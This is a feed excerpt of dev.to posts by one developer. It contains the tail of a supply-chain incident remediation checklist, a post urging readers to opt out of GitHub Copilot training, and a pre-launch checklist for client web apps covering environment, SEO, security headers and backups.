&lt;span class="p"&gt;-&lt;/span&gt; [ ] Committed and locked package-lock.json / pnpm-lock.yaml
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Rotated all credentials if install ran during affected window
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Blocked IOC domains at network / DNS level
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Audited .github/workflows/ for pull_request_target + checkout + run patterns
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Reviewed OIDC trusted publisher bindings for unexpected workflow steps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem" rel="noopener noreferrer"&gt;TanStack Official Postmortem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanstack.com/blog/incident-followup" rel="noopener noreferrer"&gt;TanStack Hardening Followup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx" rel="noopener noreferrer"&gt;GitHub Advisory GHSA-g7cv-rxg3-hmpx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem" rel="noopener noreferrer"&gt;StepSecurity Full Technical Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://snyk.io/blog/tanstack-npm-packages-compromised/" rel="noopener noreferrer"&gt;Snyk Deep Dive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised" rel="noopener noreferrer"&gt;Wiz Attribution Report&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack" rel="noopener noreferrer"&gt;Socket Research&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TanStack/router/issues/7383" rel="noopener noreferrer"&gt;GitHub Issue #7383: Original Disclosure&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Sourced from TanStack's official postmortem, StepSecurity's technical analysis, Snyk, Wiz, and Socket Research. All IOCs, timeline, and technical details drawn directly from primary source investigations.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If this helped you secure your pipeline, drop a ❤️ and share it with your team. The faster it spreads, the fewer engineers get hit.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>npm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>GitHub Copilot is Training on Your Code; Opt Out Before April 24 or Lose the Choice</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Mon, 20 Apr 2026 14:43:16 +0000</pubDate>
      <link>https://dev.to/devcodehub99/github-copilot-is-training-on-your-code-opt-out-before-april-24-or-lose-the-choice-mii</link>
      <guid>https://dev.to/devcodehub99/github-copilot-is-training-on-your-code-opt-out-before-april-24-or-lose-the-choice-mii</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Deadline: April 24, 2026.&lt;/strong&gt; After this date, opting out becomes significantly harder and some data collection may be retroactively applied. This takes 90 seconds to fix. Don't skip it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;I almost missed this.&lt;/p&gt;

&lt;p&gt;Buried inside a GitHub policy update — the kind most developers scroll past while grabbing their morning chai — was a line that made me stop cold:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Your code interactions with GitHub Copilot may be used to improve our AI models unless you explicitly opt out."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Not a notification. Not a banner. A policy page update.&lt;/p&gt;

&lt;p&gt;And the opt-out window? &lt;strong&gt;April 24.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'm a MERN developer. I build client apps, SaaS platforms, internal tools. Some of that code is under NDA. Some of it has business logic my clients paid good money to develop. The idea that it could silently feed a training pipeline — without my explicit yes — is not okay.&lt;/p&gt;

&lt;p&gt;Here's everything you need to know.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Actually Changed
&lt;/h2&gt;

&lt;p&gt;GitHub updated its Copilot Terms of Service to expand the scope of what "telemetry" means. Previously, only code suggestions you &lt;em&gt;accepted&lt;/em&gt; were potentially logged. The updated policy covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Code context sent to Copilot for suggestion generation&lt;/li&gt;
&lt;li&gt;Your accept/reject patterns on suggestions&lt;/li&gt;
&lt;li&gt;The surrounding file content used as context window input&lt;/li&gt;
&lt;li&gt;Chat interactions in Copilot Chat&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This applies to &lt;strong&gt;individual accounts, organization accounts, and — critically — private repositories&lt;/strong&gt; unless you've explicitly disabled the relevant settings.&lt;/p&gt;

&lt;p&gt;The training opt-out specifically refers to whether GitHub can use this telemetry to improve future Copilot models.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Developers Are Missing This
&lt;/h2&gt;

&lt;p&gt;Three reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Policy fatigue.&lt;/strong&gt; We accept ToS updates constantly. GitHub sent this as a policy changelog notification, not a product alert. Most devs dismissed it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Default is opt-in.&lt;/strong&gt; GitHub set the default state to &lt;em&gt;allow&lt;/em&gt; training. You have to take action to stop it. This is a common dark pattern — and it works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The deadline isn't obvious.&lt;/strong&gt; The April 24 date doesn't appear in the notification subject line. You have to read the full policy to find it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Actually at Risk
&lt;/h2&gt;

&lt;p&gt;Let's be specific. If you're a freelancer or studio (like I am at &lt;a href="https://zyklabs.in" rel="noopener noreferrer"&gt;Zyklabs&lt;/a&gt;), your risk profile includes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What's exposed&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Client business logic&lt;/td&gt;
&lt;td&gt;Competitive IP, NDA violations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API keys in context&lt;/td&gt;
&lt;td&gt;If accidentally included in a prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database schemas&lt;/td&gt;
&lt;td&gt;Architecture patterns, table structures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth flows&lt;/td&gt;
&lt;td&gt;Security-relevant implementation details&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unreleased feature code&lt;/td&gt;
&lt;td&gt;Product roadmap exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For solo devs building personal projects, the stakes are lower. But for anyone doing client work or building a product — this matters.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Opt Out (Individual Account)
&lt;/h2&gt;

&lt;p&gt;This takes under 2 minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Go to your GitHub Settings&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;github.com → Your Avatar (top right) → Settings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Navigate to Copilot settings&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Settings → Copilot (left sidebar) → Features → Privacy 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Find "Allow GitHub to use my code snippets for product improvements"&lt;/p&gt;

&lt;p&gt;Set this to &lt;strong&gt;Disabled&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Find "Allow GitHub to use my data for AI model training"&lt;/p&gt;

&lt;p&gt;Set this to &lt;strong&gt;Disabled&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; Save changes.&lt;/p&gt;

&lt;p&gt;Done. Your future interactions are excluded from training data.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Opt Out (Organization Admin)
&lt;/h2&gt;

&lt;p&gt;If you manage an org — and your team is using Copilot Business or Enterprise — you need to do this at the org level too. Individual settings don't override org-level defaults.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Go to your Organization Settings&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;github.com → Your Org → Settings → Copilot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Under "Policies", find the AI training permission toggles&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Set both training-related options to &lt;strong&gt;No Policy&lt;/strong&gt; (gives members control) or &lt;strong&gt;Disabled&lt;/strong&gt; (forces opt-out for everyone)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Communicate this to your team. Individual devs may still have their personal settings active.&lt;/p&gt;




&lt;h2&gt;
  
  
  What About Code Already Sent?
&lt;/h2&gt;

&lt;p&gt;Here's the uncomfortable part: GitHub's policy doesn't clearly specify whether opting out removes previously collected telemetry from training pipelines. The language around data retention is vague.&lt;/p&gt;

&lt;p&gt;What opting out &lt;em&gt;does&lt;/em&gt; guarantee: &lt;strong&gt;no new data from your account will be used after the opt-out is processed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For retroactive deletion, you'd need to submit a formal data deletion request under GDPR (if you're in a qualifying region) or GitHub's privacy request process. That's a separate step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Should You Stop Using Copilot?
&lt;/h2&gt;

&lt;p&gt;No. That's not what this is about.&lt;/p&gt;

&lt;p&gt;Copilot is still a genuinely useful tool. I use it. Most of my team uses it. The issue isn't the product — it's the default being opt-in for training, without a clear user-facing alert.&lt;/p&gt;

&lt;p&gt;The fix is simple: opt out of training, keep using the tool.&lt;/p&gt;

&lt;p&gt;What you're opting out of is your code being used as training data for future model versions. Copilot still works exactly the same way after you do this. Your suggestions aren't affected. Your Copilot Chat still works.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bigger Pattern to Watch
&lt;/h2&gt;

&lt;p&gt;This isn't unique to GitHub. Over the past 18 months, we've seen similar moves from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JetBrains AI Assistant&lt;/strong&gt; — opt-out for telemetry added post-launch&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VS Code + Microsoft Copilot&lt;/strong&gt; — training data scope quietly expanded&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;npm (the axios incident)&lt;/strong&gt; — supply chain trust is eroding across the board&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The pattern: launch a developer tool with generous defaults, quietly expand data collection scope in a policy update, set opt-out as the non-default path.&lt;/p&gt;

&lt;p&gt;If you're a developer in 2026, &lt;strong&gt;reviewing the privacy/training settings of every AI tool in your workflow is now maintenance work.&lt;/strong&gt; Add it to your quarterly checklist.&lt;/p&gt;




&lt;h2&gt;
  
  
  TL;DR — Do This Right Now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;code&gt;github.com → Settings → Copilot → Policies&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Disable "Use my code for product improvements"&lt;/li&gt;
&lt;li&gt;Disable "Use my Copilot interactions for AI training"&lt;/li&gt;
&lt;li&gt;If you're an org admin: do the same at org level&lt;/li&gt;
&lt;li&gt;Deadline: &lt;strong&gt;April 24, 2026&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;90 seconds. Go.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Building web apps and SaaS products at &lt;a href="https://zyklabs.in" rel="noopener noreferrer"&gt;Zyklabs&lt;/a&gt;. I write about real security issues, MERN development, and things that actually affect how we build.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Found this useful? Drop a comment — I'm especially curious if anyone has tried the formal data deletion route and what that process looked like.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>My Pre-Launch Checklist Before Handing Off Any Client We</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Sun, 12 Apr 2026 18:15:35 +0000</pubDate>
      <link>https://dev.to/devcodehub99/my-pre-launch-checklist-before-handing-off-any-client-we-2a1e</link>
      <guid>https://dev.to/devcodehub99/my-pre-launch-checklist-before-handing-off-any-client-we-2a1e</guid>
      <description>&lt;p&gt;After shipping 10+ web apps for founders and SMEs, I've noticed something.&lt;/p&gt;

&lt;p&gt;Most post-launch fires aren't technical failures. They're checklist failures. Things nobody caught because everyone assumed someone else did.&lt;/p&gt;

&lt;p&gt;This is the exact list I run through before every client handoff at &lt;a href="https://zyklabs.in" rel="noopener noreferrer"&gt;Zyklabs&lt;/a&gt;. Some of these take 5 minutes. Some take an hour. All of them have saved me at least once.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Environment and Config Hygiene
&lt;/h2&gt;

&lt;p&gt;The number one source of "works on my machine" disasters.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] All &lt;code&gt;.env&lt;/code&gt; variables documented in &lt;code&gt;ENV_SCHEMA.md&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] No hardcoded API keys, secrets, or base URLs anywhere in the codebase&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;NODE_ENV=production&lt;/code&gt; confirmed in deployment settings&lt;/li&gt;
&lt;li&gt;[ ] Separate env files for staging vs production&lt;/li&gt;
&lt;li&gt;[ ] Secrets stored in the platform vault (Vercel, Railway, etc.), not in the repo&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Real case:&lt;/strong&gt; Found Razorpay test keys going live on a production deployment. No transactions processed, but it could have. Caught it on this exact step.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. Performance Baseline
&lt;/h2&gt;

&lt;p&gt;You need numbers before handoff. Not a feeling that it seems fast.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Lighthouse Performance score above 85&lt;/li&gt;
&lt;li&gt;[ ] LCP (Largest Contentful Paint) under 2.5s&lt;/li&gt;
&lt;li&gt;[ ] No render-blocking scripts in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Images converted to WebP, using &lt;code&gt;next/image&lt;/code&gt; with correct &lt;code&gt;sizes&lt;/code&gt; prop&lt;/li&gt;
&lt;li&gt;[ ] Fonts loaded via &lt;code&gt;next/font&lt;/code&gt; or preloaded to avoid layout shift (CLS under 0.1)&lt;/li&gt;
&lt;li&gt;[ ] Bundle analyzer run, no accidental heavy imports
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Quick audit options&lt;/span&gt;
npx @next/bundle-analyzer
npx unlighthouse &lt;span class="nt"&gt;--site&lt;/span&gt; https://yourclientsite.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. SEO Minimum Viable Setup
&lt;/h2&gt;

&lt;p&gt;Google crawls on Day 1 whether you're ready or not.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Unique &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;meta description&amp;gt;&lt;/code&gt; on every page&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;robots.txt&lt;/code&gt; not accidentally blocking crawlers&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;sitemap.xml&lt;/code&gt; generated and submitted to Search Console&lt;/li&gt;
&lt;li&gt;[ ] OG tags set: &lt;code&gt;og:image&lt;/code&gt;, &lt;code&gt;og:title&lt;/code&gt;, &lt;code&gt;og:description&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Canonical URLs configured to avoid duplicate content issues&lt;/li&gt;
&lt;li&gt;[ ] No broken internal links (run &lt;code&gt;broken-link-checker&lt;/code&gt; before pushing)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Next.js App Router projects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/layout.tsx&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;metadata&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Client App | Brand Name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Clear description under 155 characters with primary keyword.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;openGraph&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;images&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/og-image.jpg&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Security Headers
&lt;/h2&gt;

&lt;p&gt;30 minutes of config work. Prevents a class of embarrassing vulnerabilities.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;code&gt;Content-Security-Policy&lt;/code&gt; header set&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;X-Frame-Options: DENY&lt;/code&gt; (prevents clickjacking)&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;Strict-Transport-Security&lt;/code&gt; (HSTS) enabled&lt;/li&gt;
&lt;li&gt;[ ] HTTPS enforced, no HTTP fallback&lt;/li&gt;
&lt;li&gt;[ ] Admin routes protected at middleware level, not just the frontend
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// next.config.js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;securityHeaders&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DENY&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;nosniff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;max-age=63072000; includeSubDomains; preload&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Email and Transactional Flows
&lt;/h2&gt;

&lt;p&gt;Test every email. Every single one. Don't assume.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Signup confirmation hits inbox, not spam&lt;/li&gt;
&lt;li&gt;[ ] Password reset flow works end-to-end in production&lt;/li&gt;
&lt;li&gt;[ ] Order/booking confirmation tested with real data&lt;/li&gt;
&lt;li&gt;[ ] SPF, DKIM, DMARC records set on the sending domain&lt;/li&gt;
&lt;li&gt;[ ] "From" address is domain-based (not &lt;code&gt;@gmail.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;[ ] Email footer includes unsubscribe link and physical address&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tool:&lt;/strong&gt; Use &lt;a href="https://mail-tester.com" rel="noopener noreferrer"&gt;mail-tester.com&lt;/a&gt; before going live. Score of 9+/10 is the target. Anything below 7 and you're probably landing in spam.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Error Tracking and Monitoring
&lt;/h2&gt;

&lt;p&gt;You can't fix what you can't see in production.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Sentry (or equivalent) initialized and sending events&lt;/li&gt;
&lt;li&gt;[ ] Source maps uploaded so stack traces are readable&lt;/li&gt;
&lt;li&gt;[ ] Custom 500 error page, not the default framework page&lt;/li&gt;
&lt;li&gt;[ ] Custom 404 page with navigation back to home&lt;/li&gt;
&lt;li&gt;[ ] API errors return correct HTTP status codes (not 200 with an error body)&lt;/li&gt;
&lt;li&gt;[ ] Uptime monitor set up (UptimeRobot free tier covers this fine)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Database and Data Safety
&lt;/h2&gt;

&lt;p&gt;The one category people rush through because they're excited to ship.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Backups enabled, and restore has been tested (not just backup)&lt;/li&gt;
&lt;li&gt;[ ] No direct DB access from the frontend, always through the API layer&lt;/li&gt;
&lt;li&gt;[ ] Server-side input validation on all user-facing fields&lt;/li&gt;
&lt;li&gt;[ ] Indexes on all queried fields&lt;/li&gt;
&lt;li&gt;[ ] Rate limiting on auth endpoints: login, signup, password reset&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Backup you've never tested is not a backup. Restore it once in staging before launch.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Cross-Device QA
&lt;/h2&gt;

&lt;p&gt;Done is not done until it works on a real phone.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Tested on an actual mobile device, not just browser devtools&lt;/li&gt;
&lt;li&gt;[ ] All forms work on iOS Safari (it has specific input quirks)&lt;/li&gt;
&lt;li&gt;[ ] Touch targets are at least 44px&lt;/li&gt;
&lt;li&gt;[ ] No horizontal scroll on mobile viewports&lt;/li&gt;
&lt;li&gt;[ ] Loading states exist for every async action&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  9. Handoff Documentation
&lt;/h2&gt;

&lt;p&gt;This is what separates a studio from a one-off freelancer job.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;code&gt;README.md&lt;/code&gt; covers: local setup, env variables, deployment steps&lt;/li&gt;
&lt;li&gt;[ ] Architecture diagram included (even a rough one)&lt;/li&gt;
&lt;li&gt;[ ] Credentials stored in a password manager, not sent over email or Notion&lt;/li&gt;
&lt;li&gt;[ ] Domain, hosting, and third-party service access transferred to client&lt;/li&gt;
&lt;li&gt;[ ] Post-launch support window communicated and agreed on in writing&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Full Scorecard
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Items&lt;/th&gt;
&lt;th&gt;Approx Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Env and Config&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;15 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Performance&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;30 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security Headers&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;30 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email Flows&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;45 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Error Tracking&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;20 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-Device QA&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;30 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documentation&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;60 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;50 items&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~4 hours&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four hours before launch. That's it.&lt;/p&gt;

&lt;p&gt;Most teams skip this and spend four days firefighting after launch instead. The math is pretty obvious.&lt;/p&gt;




&lt;p&gt;The difference between a client who refers you to three others and one who quietly never calls back often comes down to what you caught before they did.&lt;/p&gt;

&lt;p&gt;Run the checklist. Every time.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;We run this on every project at &lt;a href="https://zyklabs.in" rel="noopener noreferrer"&gt;Zyklabs&lt;/a&gt;, a web dev studio building MVPs, SaaS platforms, and storefronts for founders and SMEs across India. If you're building something and want a team that sweats the details, &lt;a href="https://zyklabs.in/#contact" rel="noopener noreferrer"&gt;reach out&lt;/a&gt;.&lt;/em&gt; 🙌&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>nextjs</category>
      <category>javascript</category>
      <category>productivity</category>
    </item>
    <item>
      <title>An AI Found a 27-Year-Old Bug in OpenBSD- The Most Security-Hardened OS on Earth</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Sat, 11 Apr 2026 16:35:31 +0000</pubDate>
